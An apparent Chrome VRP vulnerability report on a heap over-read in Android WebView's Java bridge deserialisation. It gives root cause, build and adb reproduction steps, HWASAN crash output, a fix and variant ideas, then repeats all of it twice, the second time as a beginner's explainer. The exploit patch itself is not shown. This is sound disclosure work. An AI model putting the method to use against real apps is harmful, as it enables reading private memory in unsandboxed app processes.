Out of bounds read in WebView (CVE-2026-87640)
A compromised renderer can send a malformed binary value through the Java bridge Mojo interface, causing a heap buffer overflow read in the unsandboxed host app process. This allows the renderer to read host app process memory, serving as a sandbox escape primitive.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 5 months
Heap buffer overflow in GinJavaBridgeValue deserialization allows compromised renderer to read host app process memory
Summary
A compromised renderer process can trigger a heap buffer overflow read in the host application process on Android by sending a malformed BinaryValue through the GinJavaBridgeRemoteObject.InvokeMethod Mojo interface. The argument coercion path in CoerceGinJavaBridgeValueToJavaValue trusts that every BinaryValue is a valid GinJavaBridgeValue, with the only validation being a DCHECK that is compiled out of release builds. When a renderer supplies a BinaryValue shorter than the expected GinJavaBridgeValue::Header, the subsequent call to Pickle::headerT<Header>() reads beyond the allocated buffer. This affects all Android applications that embed a WebView and register any Java bridge object via addJavascriptInterface. The overflow occurs in the unsandboxed host app process, making it a sandbox escape primitive when combined with a renderer compromise.
Platform: Android (all architectures). Requires a WebView embedder that calls addJavascriptInterface.
Bisect
Introducing Commit: 21d14e471385296126beac77a9b9a4bf3fabadd4
- Date: 2014-04-28
- Author: [email protected]
- Subject: [Android] Add GinJavaBridgeValue for Gin Java Bridge
The GinJavaBridgeValue type and its GetType() method have existed since the initial implementation. The DCHECK-only validation in CoerceGinJavaBridgeValueToJavaValue was never upgraded to a runtime check.
Root Cause
When a renderer invokes a Java bridge method through GinJavaBridgeRemoteObject.InvokeMethod, the browser side receives a base::ListValue of arguments. Each argument is coerced to a Java type by CoerceJavaScriptValueToJavaValue. When the argument type is base::Value::Type::BINARY, the code unconditionally dispatches to CoerceGinJavaBridgeValueToJavaValue:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:763-765
case base::Value::Type::BINARY:
return CoerceGinJavaBridgeValueToJavaValue(
env, value, target_type, coerce_to_string, object_refs, error);
Inside that function, the sole check that the binary blob is actually a well-formed GinJavaBridgeValue is a DCHECK, which does not exist in release builds:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:692-695
DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
switch (gin_value->GetType()) {
FromValue constructs a GinJavaBridgeValue from the raw blob bytes without any size validation. GetType() then interprets the internal pickle's header as the extended Header struct:
// content/common/android/gin_java_bridge_value.cc:22-27
#pragma pack(push, 4)
struct Header : public base::Pickle::Header {
uint32_t magic;
int32_t type;
};
#pragma pack(pop)
// content/common/android/gin_java_bridge_value.cc:89-92
GinJavaBridgeValue::Type GinJavaBridgeValue::GetType() const {
const Header* header = pickle_.headerT<Header>();
DCHECK(header->type >= TYPE_FIRST_VALUE && header->type < TYPE_LAST_VALUE);
return static_cast<Type>(header->type);
}
The Header struct is 12 bytes (4-byte payload_size from base::Pickle::Header, 4-byte magic, 4-byte type). A compromised renderer can send a BinaryValue containing only 4 bytes, which is sufficient for base::Pickle::WithData to consider the pickle valid (the payload_size field fits), but headerT<Header>() will read 12 bytes from a 4-byte allocation, producing a heap buffer overflow of 8 bytes. The ContainsGinJavaBridgeValue function does perform the correct size check (value->GetBlob().size() < sizeof(Header)), but it is only called inside the DCHECK.
The overflow occurs on the JavaBridgeThread in the host app process, not in the renderer. Since Android WebView host app processes are unsandboxed and hold the full privilege set of the embedding application, this provides a direct information disclosure primitive from the renderer sandbox into the app process heap.
Reproduce
Tested at commit ab3f3f8b586d6f03cf15aaf4ee343bed9e0ed2d1 on Android arm64 (Pixel 7 Pro, HWASAN userdebug build). Two APKs are involved: system_webview_64_apk is the WebView engine (contains libwebviewchromium.so with the renderer patch), and system_webview_shell_apk is a test host app whose WebViewLayoutTestActivity registers a Java bridge (awConsole) via addJavascriptInterface. Two reproduction methods are provided; each is self-contained.
Method A: CDP navigation (no shell modification)
- Apply the renderer-side patch and build:
cd ~/chromium/src
git apply patch.diff
out/android/args.gn:
is_debug = false
dcheck_always_on = false
target_cpu = "arm64"
is_component_build = false
target_os = "android"
is_hwasan = true
android_static_analysis = "off"
incremental_install = false
autoninja -C out/android system_webview_64_apk system_webview_shell_apk
- Install both APKs and set the WebView provider:
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
- Serve the PoC, launch the shell, and navigate via Chrome DevTools Protocol:
python3 -m http.server 8888 &
adb reverse tcp:8888 tcp:8888
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
PID=$(adb shell pidof org.chromium.webview_shell)
adb forward tcp:9222 localabstract:webview_devtools_remote_$PID
python3 navigate.py
- Check crash output:
adb logcat -d | grep -E "(HWAddressSanitizer|heap-buffer|SUMMARY)"
Method B: data URI (no CDP, no HTTP server)
- Apply the renderer-side patch:
cd ~/chromium/src
git apply patch.diff
- Add one line to
android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewLayoutTestActivity.java, at the end ofonCreate, after the existingaddJavascriptInterfacecall:
mWebView.loadUrl("data:text/html,<script>awConsole.log('trigger')</script>");
- Build with the same
out/android/args.gnas Method A:
autoninja -C out/android system_webview_64_apk system_webview_shell_apk
- Install both APKs, set the WebView provider, and launch:
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
- Check crash output:
adb logcat -d | grep -E "(HWAddressSanitizer|heap-buffer|SUMMARY)"
The host app process crashes within one second. The overflow occurs in the WebView host app process (PID 3697, org.chromium.webview_shell), not in the renderer (PID 3727, sandboxed child process). The crashing thread is T919 (JavaBridgeThread), the dedicated background thread that processes Java bridge invocations from Mojo IPC. Symbolized HWASAN output from adb logcat:
==3697==ERROR: HWAddressSanitizer: tag-mismatch on address 0x0043d829dc08 at pc 0x007021178a34
READ of size 4 at 0x0043d829dc08 tags: 40/04(40) (ptr/mem) in thread T919
#0 GinJavaBridgeValue::GetType() gin_java_bridge_value.cc:92
#1 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:695
#2 CoerceJavaScriptValueToJavaValue() gin_java_script_to_java_types_coercion.cc:764
#3 GinJavaMethodInvocationHelper::Invoke() gin_java_method_invocation_helper.cc:137
#4 GinJavaBridgeDispatcherHost::OnInvokeMethod() gin_java_bridge_dispatcher_host.cc:384
#5 GinJavaBridgeDispatcherHost::InvokeMethod() gin_java_bridge_dispatcher_host.cc:488
#6 GinJavaBridgeRemoteObjectStubDispatch::AcceptWithResponder() gin_java_bridge.mojom.cc:1693
#7 mojo::InterfaceEndpointClient::HandleValidatedMessage()
#8 mojo::MessageDispatcher::Accept()
#9 mojo::InterfaceEndpointClient::HandleIncomingMessage()
#10 mojo::internal::MultiplexRouter::ProcessIncomingMessage()
...
[0x0043d829dc00,0x0043d829dc20) is a small allocated heap chunk; size: 32 offset: 8
Cause: heap-buffer-overflow
0x0043d829dc08 is located 4 bytes after a 4-byte region [0x0043d829dc00,0x0043d829dc04)
allocated by thread T919 here:
#0 operator new libclang_rt.hwasan
#1 malloc libc.so
#2 base::Pickle::Resize() pickle.cc:424
#3 base::Pickle::Pickle(base::Pickle const&) pickle.cc:335
#4 GinJavaBridgeValue::GinJavaBridgeValue() gin_java_bridge_value.cc:134
#5 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:694
SUMMARY: HWAddressSanitizer: tag-mismatch (libwebviewchromium.so+0x59e2a34)
Suggested Fix
Replace the DCHECK in CoerceGinJavaBridgeValueToJavaValue with a runtime validation that rejects malformed blobs before constructing a GinJavaBridgeValue. The ContainsGinJavaBridgeValue helper already implements the correct size, magic, and type-range checks; it simply needs to be called unconditionally:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc
jvalue CoerceGinJavaBridgeValueToJavaValue(JNIEnv* env,
const base::Value& value,
const JavaType& target_type,
bool coerce_to_string,
const ObjectRefs& object_refs,
mojom::GinJavaBridgeError* error) {
- DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
+ if (!GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value)) {
+ *error = mojom::GinJavaBridgeError::kGinJavaBridgeNonAssignableTypes;
+ return jvalue();
+ }
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
Credit
Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.
Context
Android WebView lets an embedding application expose Java objects to JavaScript running in the WebView through addJavascriptInterface. When a page calls a method on such an injected object, the call travels from the renderer process to the host application process over the GinJavaBridgeRemoteObject.InvokeMethod Mojo interface. On the browser side, each argument in the incoming base::ListValue is converted to a Java value by CoerceJavaScriptValueToJavaValue, which dispatches on the argument's base::Value::Type. Binary arguments are handled by CoerceGinJavaBridgeValueToJavaValue, which expects the blob to be a serialised GinJavaBridgeValue.
The report describes a heap buffer overflow read in that deserialisation path. A compromised renderer can send a malformed BinaryValue that is shorter than the expected GinJavaBridgeValue::Header, and the host app process then reads past the end of the allocation. Because the read happens in the unsandboxed host app process, the bug is a sandbox escape primitive when combined with a renderer compromise. It affects all Android applications that embed a WebView and register any Java bridge object via addJavascriptInterface, on all architectures.
Setup
The reproduction was tested at commit [redacted] on Android arm64, using a Pixel 7 Pro with an HWASAN userdebug build. Two APKs are involved:
system_webview_64_apkis the WebView engine and containslibwebviewchromium.sowith the renderer patch.system_webview_shell_apkis a test host app whoseWebViewLayoutTestActivityregisters a Java bridge namedawConsoleviaaddJavascriptInterface.
The build uses the following out/android/args.gn:
is_debug = false
dcheck_always_on = false
target_cpu = "arm64"
is_component_build = false
target_os = "android"
is_hwasan = true
android_static_analysis = "off"
incremental_install = false
Note that dcheck_always_on = false matters: the only validation on the vulnerable path is a DCHECK, so it is compiled out in this configuration, as it is in release builds.
Finding it
The researcher traced the argument coercion path for binary values. In CoerceJavaScriptValueToJavaValue, a BINARY argument is dispatched unconditionally to CoerceGinJavaBridgeValueToJavaValue:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:763-765
case base::Value::Type::BINARY:
return CoerceGinJavaBridgeValueToJavaValue(
env, value, target_type, coerce_to_string, object_refs, error);
Inside that function, the only check that the blob is a well-formed GinJavaBridgeValue is a DCHECK:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:692-695
DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
switch (gin_value->GetType()) {
FromValue builds a GinJavaBridgeValue from the raw bytes without any size validation, and GetType() then reads the pickle header as the extended Header struct:
// content/common/android/gin_java_bridge_value.cc:22-27
#pragma pack(push, 4)
struct Header : public base::Pickle::Header {
uint32_t magic;
int32_t type;
};
#pragma pack(pop)
// content/common/android/gin_java_bridge_value.cc:89-92
GinJavaBridgeValue::Type GinJavaBridgeValue::GetType() const {
const Header* header = pickle_.headerT<Header>();
DCHECK(header->type >= TYPE_FIRST_VALUE && header->type < TYPE_LAST_VALUE);
return static_cast<Type>(header->type);
}
The Header struct is 12 bytes: the 4-byte payload_size from base::Pickle::Header, a 4-byte magic and a 4-byte type. A renderer can send a BinaryValue of only 4 bytes. That is enough for base::Pickle::WithData to treat the pickle as valid, because the payload_size field fits, but headerT<Header>() then reads 12 bytes from a 4-byte allocation, an 8-byte heap buffer overflow. The ContainsGinJavaBridgeValue helper does perform the correct size check (value->GetBlob().size() < sizeof(Header)), but it is only reached inside the DCHECK.
The bisect points to the commit that introduced the type:
- Introducing commit:
[redacted] - Date: 2014-04-28
- Author: [redacted]
- Subject: [Android] Add GinJavaBridgeValue for Gin Java Bridge
The GinJavaBridgeValue type and its GetType() method have existed since that initial implementation, and the DCHECK-only validation was never upgraded to a runtime check.
Exploitation
Two self-contained reproduction methods are provided. Both start by applying a renderer-side patch and building the two APKs.
Step 1: Apply the renderer patch
cd ~/chromium/src
git apply patch.diff
Step 2: Build the APKs
autoninja -C out/android system_webview_64_apk system_webview_shell_apk
Step 3: Install and select the WebView provider
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
This installs the patched WebView engine and the shell host app, then makes the installed WebView the active provider.
Step 4 (Method A): Serve the PoC and navigate over CDP
python3 -m http.server 8888 &
adb reverse tcp:8888 tcp:8888
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
PID=$(adb shell pidof org.chromium.webview_shell)
adb forward tcp:9222 localabstract:webview_devtools_remote_$PID
python3 navigate.py
The HTTP server serves the PoC, adb reverse makes it reachable from the device, the shell activity is launched, and the WebView's DevTools socket is forwarded to the host before navigate.py runs. This method needs no modification to the shell app.
Step 5 (Method B): Trigger from a data URI
Method B avoids CDP and the HTTP server. Add one line to android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewLayoutTestActivity.java, at the end of onCreate, after the existing addJavascriptInterface call:
mWebView.loadUrl("data:text/html,<script>awConsole.log('trigger')</script>");
Then build with the same out/android/args.gn as Method A, install both APKs, set the provider and launch:
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
Step 6: Check the crash output
adb logcat -d | grep -E "(HWAddressSanitizer|heap-buffer|SUMMARY)"
The host app process crashes within one second. The overflow occurs in the WebView host app process (PID 3697, org.chromium.webview_shell), not in the renderer (PID 3727, the sandboxed child process). The crashing thread is T919 (JavaBridgeThread), the dedicated background thread that processes Java bridge invocations from Mojo IPC. The symbolised HWASAN output is:
==3697==ERROR: HWAddressSanitizer: tag-mismatch on address 0x0043d829dc08 at pc 0x007021178a34
READ of size 4 at 0x0043d829dc08 tags: 40/04(40) (ptr/mem) in thread T919
#0 GinJavaBridgeValue::GetType() gin_java_bridge_value.cc:92
#1 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:695
#2 CoerceJavaScriptValueToJavaValue() gin_java_script_to_java_types_coercion.cc:764
#3 GinJavaMethodInvocationHelper::Invoke() gin_java_method_invocation_helper.cc:137
#4 GinJavaBridgeDispatcherHost::OnInvokeMethod() gin_java_bridge_dispatcher_host.cc:384
#5 GinJavaBridgeDispatcherHost::InvokeMethod() gin_java_bridge_dispatcher_host.cc:488
#6 GinJavaBridgeRemoteObjectStubDispatch::AcceptWithResponder() gin_java_bridge.mojom.cc:1693
#7 mojo::InterfaceEndpointClient::HandleValidatedMessage()
#8 mojo::MessageDispatcher::Accept()
#9 mojo::InterfaceEndpointClient::HandleIncomingMessage()
#10 mojo::internal::MultiplexRouter::ProcessIncomingMessage()
...
[0x0043d829dc00,0x0043d829dc20) is a small allocated heap chunk; size: 32 offset: 8
Cause: heap-buffer-overflow
0x0043d829dc08 is located 4 bytes after a 4-byte region [0x0043d829dc00,0x0043d829dc04)
allocated by thread T919 here:
#0 operator new libclang_rt.hwasan
#1 malloc libc.so
#2 base::Pickle::Resize() pickle.cc:424
#3 base::Pickle::Pickle(base::Pickle const&) pickle.cc:335
#4 GinJavaBridgeValue::GinJavaBridgeValue() gin_java_bridge_value.cc:134
#5 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:694
SUMMARY: HWAddressSanitizer: tag-mismatch (libwebviewchromium.so+0x59e2a34)
The stack shows the full path from the Mojo dispatch (GinJavaBridgeRemoteObjectStubDispatch::AcceptWithResponder) through GinJavaBridgeDispatcherHost::InvokeMethod and GinJavaMethodInvocationHelper::Invoke into the coercion functions, with the faulting read in GinJavaBridgeValue::GetType(). The allocation trace shows the 4-byte region was created by base::Pickle::Resize() inside the GinJavaBridgeValue constructor, called from CoerceGinJavaBridgeValueToJavaValue.
Root cause
The coercion path assumes that any base::Value of type BINARY arriving over the Java bridge is a valid GinJavaBridgeValue. The only guard, DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value)), is compiled out of release builds, so the malformed blob reaches FromValue and then GetType(). FromValue copies the raw bytes into a pickle without checking the size, and GetType() reads a 12-byte Header from a buffer that can be as small as 4 bytes. The correct validation exists in ContainsGinJavaBridgeValue, which checks the blob size against sizeof(Header) as well as the magic and type range, but it is never called outside the DCHECK.
Impact
A compromised renderer can read memory from the host application process heap. Because Android WebView host app processes are unsandboxed and hold the full privilege set of the embedding application, this is a direct information disclosure primitive from the renderer sandbox into the app process, and a sandbox escape primitive when combined with a renderer compromise. The precondition is an app that embeds a WebView and registers at least one Java bridge object via addJavascriptInterface; the report notes this applies to all such apps on all Android architectures.
Fix
The suggested fix replaces the DCHECK in CoerceGinJavaBridgeValueToJavaValue with a runtime validation that rejects malformed blobs before constructing a GinJavaBridgeValue, reusing the existing ContainsGinJavaBridgeValue helper, which already implements the size, magic and type-range checks:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc
jvalue CoerceGinJavaBridgeValueToJavaValue(JNIEnv* env,
const base::Value& value,
const JavaType& target_type,
bool coerce_to_string,
const ObjectRefs& object_refs,
mojom::GinJavaBridgeError* error) {
- DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
+ if (!GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value)) {
+ *error = mojom::GinJavaBridgeError::kGinJavaBridgeNonAssignableTypes;
+ return jvalue();
+ }
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
Variants to test
- Other Mojo interfaces that accept
BinaryValueor pickled blobs from the renderer and deserialise them in the browser or host app process. A positive result is a size check that exists only as aDCHECK, or a deserialiser that reads a fixed-size header before validating the blob length. - Other
base::Value::Typecases inCoerceJavaScriptValueToJavaValuethat dispatch to type-specific coercion without validating the value's internal structure. A positive result is a coercion path that trusts the renderer-supplied type tag and reads fields beyond the actual data. ContainsGinJavaBridgeValuecallers elsewhere in the codebase. A positive result is any other call site where the helper is used only inside aDCHECKrather than as a runtime guard.- Release builds with
dcheck_always_on = falseon other platforms that embed a similar bridge (for example other WebView implementations or embedded browser frameworks). A positive result is a crash or sanitizer report in the host process when a truncated binary argument is sent over the bridge. - Fuzzing the Java bridge argument coercion with truncated and malformed
BinaryValuepayloads of 0 to 11 bytes. A positive result is an out-of-bounds read reported by ASAN or HWASAN inGetType()or a similar header-reading function.
What happened, in plain words
Android apps can show web pages inside themselves using a component called WebView. Think of WebView as a mini browser that an app can embed, the same way a shop might put a small cinema screen inside its own building instead of sending customers to a separate cinema across town. Many apps do this: a news app showing articles, a banking app showing a help page, a game showing a login screen.
WebView has a feature that lets the app and the web page talk to each other. The app can hand the page a Java object (a bundle of functions written in Java, the language Android apps are usually written in), and the page's JavaScript can then call those functions. This feature is called addJavascriptInterface. It is like giving a visitor a phone with a few pre-dialled numbers: they cannot call anyone they like, but they can call the numbers you gave them.
When the web page calls one of those functions, the call has to travel from the part of the browser that runs the web page (the renderer) to the part that runs the app (the host app process). The two parts talk over an internal messaging system called Mojo. Mojo is Chrome's own postal service: it carries typed messages between processes.
The report describes a bug in how one kind of message is read. A web page can send a chunk of raw binary data as an argument to a Java bridge function. The receiving code assumes the chunk is a properly formed GinJavaBridgeValue (a small wrapper around binary data used by this bridge), but it only checks that assumption with a DCHECK. A DCHECK is a debugging assertion: it is a check that only exists in debug builds and is removed from release builds. So in a real, shipping browser, the check is simply not there.
When the chunk is too short, the code reads past the end of the memory it was given. That is a heap buffer overflow read: the program looks at memory it does not own. The read happens in the host app process, which on Android is not sandboxed (a sandbox is an isolated playpen that limits what a process can do if it is compromised). So a compromised renderer, which normally sits inside a sandbox, can use this bug to reach into the app's memory. That makes it a sandbox escape primitive: a building block an attacker could combine with a renderer compromise.
The bug affects every Android app that embeds a WebView and registers at least one Java bridge object with addJavascriptInterface, on all architectures. The report describes the out-of-bounds read and shows a crash in the host app process.
Context
Let us unpack the pieces one at a time.
WebView. Android's WebView is the browser engine that apps embed. It is not the Chrome app you tap on your home screen; it is a library that other apps use. The app that embeds it is called the embedder or host app.
Java bridge. addJavascriptInterface is an Android API (an API is a published set of functions one piece of software offers to another, like a restaurant menu: you can order only what is listed). The app calls it to expose a Java object to the page. The page then calls methods on that object from JavaScript.
Renderer and host app process. Modern browsers split work across processes. The renderer runs the web page's code (HTML, JavaScript). The host app process runs the app's own Java code. They are separate processes, which is a safety measure: if the page crashes or is taken over, the app should survive. The renderer is sandboxed; the host app process is not.
Mojo. Mojo is the inter-process communication (IPC) system Chrome uses. An interface in Mojo is a named set of methods that one process can call on another. Here the interface is GinJavaBridgeRemoteObject.InvokeMethod: the renderer uses it to ask the host to invoke a method on a Java bridge object.
base::ListValue and base::Value. These are Chrome's generic containers for data. A base::Value is a tagged value: it carries a type tag (string, number, binary, and so on) plus the data. A base::ListValue is a list of such values. When the page calls a bridge method with arguments, the arguments arrive as a base::ListValue.
Coercion. The arguments arrive as generic values, but Java methods expect specific Java types (a string, an int, and so on). Converting one to the other is called coercion. CoerceJavaScriptValueToJavaValue does this conversion, looking at each argument's type tag to decide how to convert it.
Binary arguments. When the type tag says BINARY, the value holds a raw blob of bytes. The code sends it to CoerceGinJavaBridgeValueToJavaValue, which expects the blob to be a serialised GinJavaBridgeValue. Serialisation means turning an object into a stream of bytes so it can be sent or stored; deserialisation is turning it back.
The bug. The deserialisation path reads a fixed-size header from the blob without first checking that the blob is at least that big. A header is a small block of bytes at the start of a structured message that describes the rest, like the label on a parcel. If the parcel is smaller than the label, reading the label reads past the parcel.
Setup
The reproduction was tested at commit [redacted] on Android arm64, using a Pixel 7 Pro with an HWASAN userdebug build.
A commit is a saved snapshot in a version-control system (Git); the long hexadecimal string is its unique identifier. arm64 is the 64-bit processor architecture used by most modern Android phones. HWASAN (Hardware-assisted AddressSanitizer) is a debugging tool that watches memory accesses and reports when a program reads or writes outside the memory it was given. A userdebug build is an Android build that is close to a normal user build but allows extra debugging.
Two APKs are involved. An APK is an Android app package, the file you install on a phone.
system_webview_64_apkis the WebView engine and containslibwebviewchromium.sowith the renderer patch. A .so file is a shared library, a bundle of compiled native code.system_webview_shell_apkis a test host app whoseWebViewLayoutTestActivityregisters a Java bridge namedawConsoleviaaddJavascriptInterface. An Activity is a single screen in an Android app.
The build uses the following out/android/args.gn. A GN args file is a configuration file that tells the build system how to compile Chrome:
is_debug = false
dcheck_always_on = false
target_cpu = "arm64"
is_component_build = false
target_os = "android"
is_hwasan = true
android_static_analysis = "off"
incremental_install = false
Line by line:
is_debug = falsebuilds a release-style binary, not a debug one.dcheck_always_on = falseturns off the option that would keepDCHECKassertions active even in release builds. This matters a lot: the only validation on the vulnerable path is aDCHECK, so it is compiled out here, exactly as it is in real release builds.target_cpu = "arm64"builds for 64-bit ARM phones.is_component_build = falseproduces a single large library rather than many small ones.target_os = "android"targets Android.is_hwasan = trueturns on the HWASAN memory checker.android_static_analysis = "off"skips static analysis during the build.incremental_install = falseinstalls the whole APK each time rather than patching it.
Finding it
The researcher traced the argument coercion path for binary values. In CoerceJavaScriptValueToJavaValue, a BINARY argument is dispatched unconditionally to CoerceGinJavaBridgeValueToJavaValue:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:763-765
case base::Value::Type::BINARY:
return CoerceGinJavaBridgeValueToJavaValue(
env, value, target_type, coerce_to_string, object_refs, error);
This is a switch statement in C++ (the language Chrome is written in). It looks at the type tag of the value. When the tag is BINARY, it calls the binary-specific coercion function and passes along the value, the target Java type, and some bookkeeping. There is no check here that the blob is well formed; the code simply trusts the tag.
Inside that function, the only check that the blob is a well-formed GinJavaBridgeValue is a DCHECK:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc:692-695
DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
switch (gin_value->GetType()) {
Line by line:
DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));asks the helperContainsGinJavaBridgeValuewhether the blob really is a validGinJavaBridgeValue. ButDCHECKis a debug-only assertion. In a release build this line disappears entirely.std::unique_ptr<const GinJavaBridgeValue> gin_value(starts creating a smart pointer (a pointer that cleans up after itself) to aGinJavaBridgeValue.GinJavaBridgeValue::FromValue(&value));builds that object from the raw bytes.FromValuedoes not check the size.switch (gin_value->GetType()) {reads the type out of the object. This is where the out-of-bounds read happens.
FromValue builds a GinJavaBridgeValue from the raw bytes without any size validation, and GetType() then reads the pickle header as the extended Header struct:
// content/common/android/gin_java_bridge_value.cc:22-27
#pragma pack(push, 4)
struct Header : public base::Pickle::Header {
uint32_t magic;
int32_t type;
};
#pragma pack(pop)
A struct is a way of grouping several fields together in C++. This Header extends base::Pickle::Header, which already contains a 4-byte payload_size field. It adds two more fields: magic (a 4-byte number used as a signature, so the code can recognise its own format) and type (a 4-byte number saying what kind of value this is). #pragma pack(push, 4) and #pragma pack(pop) tell the compiler to lay the fields out with at most 4-byte alignment, so the struct is exactly 12 bytes with no padding.
A pickle is Chrome's own serialisation format: a way of packing structured data into a flat byte buffer. It starts with a header describing the payload.
// content/common/android/gin_java_bridge_value.cc:89-92
GinJavaBridgeValue::Type GinJavaBridgeValue::GetType() const {
const Header* header = pickle_.headerT<Header>();
DCHECK(header->type >= TYPE_FIRST_VALUE && header->type < TYPE_LAST_VALUE);
return static_cast<Type>(header->type);
}
Line by line:
GinJavaBridgeValue::Type GinJavaBridgeValue::GetType() const {declares a function that returns the type of the value.const Header* header = pickle_.headerT<Header>();asks the pickle to hand back a pointer to its header, interpreted as the 12-byteHeaderstruct.headerTdoes not check that the buffer is big enough.DCHECK(header->type >= TYPE_FIRST_VALUE && header->type < TYPE_LAST_VALUE);is another debug-only check that the type number is in range. It is gone in release builds.return static_cast<Type>(header->type);converts the raw number into the enum type and returns it. An enum is a named set of allowed values.
The Header struct is 12 bytes: the 4-byte payload_size from base::Pickle::Header, a 4-byte magic and a 4-byte type. A renderer can send a BinaryValue of only 4 bytes. That is enough for base::Pickle::WithData to treat the pickle as valid, because the payload_size field fits, but headerT<Header>() then reads 12 bytes from a 4-byte allocation, an 8-byte heap buffer overflow. The ContainsGinJavaBridgeValue helper does perform the correct size check (value->GetBlob().size() < sizeof(Header)), but it is only reached inside the DCHECK.
The heap is the region of memory a program uses for data it creates while running. An allocation is a reserved block of heap memory. Reading 12 bytes from a 4-byte allocation means 8 bytes are read from memory that belongs to something else.
The bisect points to the commit that introduced the type. A bisect is a search through the project's history to find the exact change that introduced a behaviour:
- Introducing commit:
[redacted] - Date: 2014-04-28
- Author: [redacted]
- Subject: [Android] Add GinJavaBridgeValue for Gin Java Bridge
The GinJavaBridgeValue type and its GetType() method have existed since that initial implementation, and the DCHECK-only validation was never upgraded to a runtime check. A runtime check is a check that runs in the shipped product, not only in debug builds.
Exploitation
Two self-contained reproduction methods are provided. Both start by applying a renderer-side patch and building the two APKs. A patch is a small change to source code, usually stored as a file that can be applied with a tool.
Step 1: Apply the renderer patch
cd ~/chromium/src
git apply patch.diff
cd ~/chromium/srcmoves into the directory holding the Chromium source code.~means your home directory.git apply patch.diffapplies the changes stored in the filepatch.diffto the source tree.
Step 2: Build the APKs
autoninja -C out/android system_webview_64_apk system_webview_shell_apk
autoninja is the build tool that compiles the source into binaries. -C out/android tells it to work in the out/android build directory, which uses the args.gn shown earlier. The two targets are the WebView engine APK and the shell host app APK.
Step 3: Install and select the WebView provider
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
- The first two lines install the freshly built APKs on the connected device.
adbis the Android Debug Bridge, a command-line tool for talking to a phone from a computer. adb shell cmd webviewupdate set-webview-implementation com.android.webviewtells Android to use the installed WebView package as the active WebView provider. Android can have several WebView implementations installed; this selects the one you just built.
Step 4 (Method A): Serve the PoC and navigate over CDP
python3 -m http.server 8888 &
adb reverse tcp:8888 tcp:8888
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
PID=$(adb shell pidof org.chromium.webview_shell)
adb forward tcp:9222 localabstract:webview_devtools_remote_$PID
python3 navigate.py
A PoC (proof of concept) is a small demonstration that triggers a bug. CDP is the Chrome DevTools Protocol, a way for a program to control a browser remotely, the same protocol the DevTools panel uses.
Line by line:
python3 -m http.server 8888 &starts a simple web server on port 8888 in the background. It serves the PoC page from the current directory.adb reverse tcp:8888 tcp:8888makes the phone's port 8888 forward to the computer's port 8888, so the phone can reach the server running on the computer.adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivitylaunches the shell app's test activity.am startis the Android activity manager command.PID=$(adb shell pidof org.chromium.webview_shell)asks the phone for the process ID of the shell app and stores it in a shell variable. A PID is the number the operating system uses to identify a running process.adb forward tcp:9222 localabstract:webview_devtools_remote_$PIDforwards a local port on the computer to the WebView's DevTools socket on the phone. The socket name includes the PID so it targets the right process.python3 navigate.pyruns a script that connects over CDP and drives the WebView to the PoC page.
This method needs no modification to the shell app.
Step 5 (Method B): Trigger from a data URI
Method B avoids CDP and the HTTP server. Add one line to android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewLayoutTestActivity.java, at the end of onCreate, after the existing addJavascriptInterface call:
mWebView.loadUrl("data:text/html,<script>awConsole.log('trigger')</script>");
onCreate is the Android lifecycle method that runs when an activity is first created. mWebView.loadUrl(...) tells the WebView to load a URL. A data URI is a URL that contains the page content directly instead of pointing to a server. Here the page is a tiny HTML document with a script that calls awConsole.log('trigger'), which is the injected Java bridge object. Here the page is a tiny HTML document with a script that calls awConsole.log('trigger'), the injected Java bridge object.
